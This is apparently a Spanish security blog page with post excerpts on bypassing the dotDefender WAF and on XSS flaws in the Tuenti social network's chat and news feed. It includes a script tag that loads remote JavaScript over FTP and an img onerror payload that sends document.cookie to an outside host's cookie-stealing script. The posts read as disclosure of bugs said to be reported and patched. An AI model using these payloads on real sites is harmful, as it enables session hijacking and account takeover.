Bypass XSS filter dotDefender

Hace unos días que trasteo con el WAF de dotDefender para conseguir saltarlo y tal. En uno de esos momentos que te encuentras cara a cara con el queridísimo mensaje "dotDefender Blocked Your Request", ahí­ en ese preciso instante empieza la guerra entre el y yo.

Leer mas...


Bug XSS en Tuenti (II)

Hola amigos!

Con la cosa del XSS de ayer en Tuenti, nos topamos con un par de fallitos más, y aquí os los mostramos ;D

Esta vez el bug tal vez sea más peligroso que el anterior. El anterior afectaba a la persona que tú eligieras en el Chat; bien, pues este afecta a todos los amigos que tengas agregados, ya que se basa en las Novedades que aparecen en Inicio:

 

El diseño de las Novedades fue cambiado algo antes que el del chat si mal no recuerdo. Esta "mejora" que implementaron consistía en que en Novedades aparecía más información, y un par de formularios desde donde podías comentar directamente estados, fotos, etc.

Además, si pones el link de una foto de estado (sólo sirve con las subidas en Tuenti) se reemplaza la URL por el título que le hayas puesto a la foto, y en Novedades sale una miniatura de la misma.

El bug es simple, cerramos el atributo phototitle, cerramos la etiqueta, insertamos código y volvemos a abrir la etiqueta como si nada hubiera pasado ;D

Un saludo a todos, y feliz año! :)

Leer mas...


Bug XSS en Tuenti (I)

Hola amigos!

Aprovechamos las vacaciones para retomar el blog, y lo intentamos hacer con algo interesante ^^

Hace unos días la red social Tuenti nos deleitaba con un nuevo diseño de chat, con nuevos iconos y nuevas funcionalidades como la de Conversaciones recientes. ¿Qué pasa con las cosas nuevas? Al principio siempre tienen algún fallito ;D

Un día, aburrido, nuestro amigo @JKS___ empezó a probar cosas, y se topó con algo interesante.

Si colocamos el cursor encima de una conversación reciente, nos aparece el último mensaje. ¿Qué pasa si enviamos código por el chat? ¡Bingo! Al pasar el cursor por encima se ejecuta:

Comprobango bug

A partir de aquí tenemos un XSS que se ejecuta a la vez en el navegador atacante y el atacado. Lo primero que se nos ocurrió fue lo más sencillo, ya que había una restricción de X caracteres máximos, intentamos incluir un archivo .js externo.

El problema era que el chat detecta URL y se parseaba esa parte, pero sólo el protocolo HTTP, así que con un FTP abierto se podría jugar, algo como:

<script src="ftp://ka0labs.org/virus.js">
Lo que faltaba era que el código javascript no se ejecutaba directamente, había que hacer mano de los eventos.

La investigación termina robando cookies con una redirección del estilo:

</ul><img onerror="location.href='ftp://ka0labs.org/robacookies.php?cookie='+document.cookie" src=""/>

El fallo fue reportado ayer, y hoy jueves ya está parcheado :P

Saludos! :) @xassiz @ca0s_ @kr0no_ @JKS___ @0verflowInside

Leer mas...


Página 1 de 1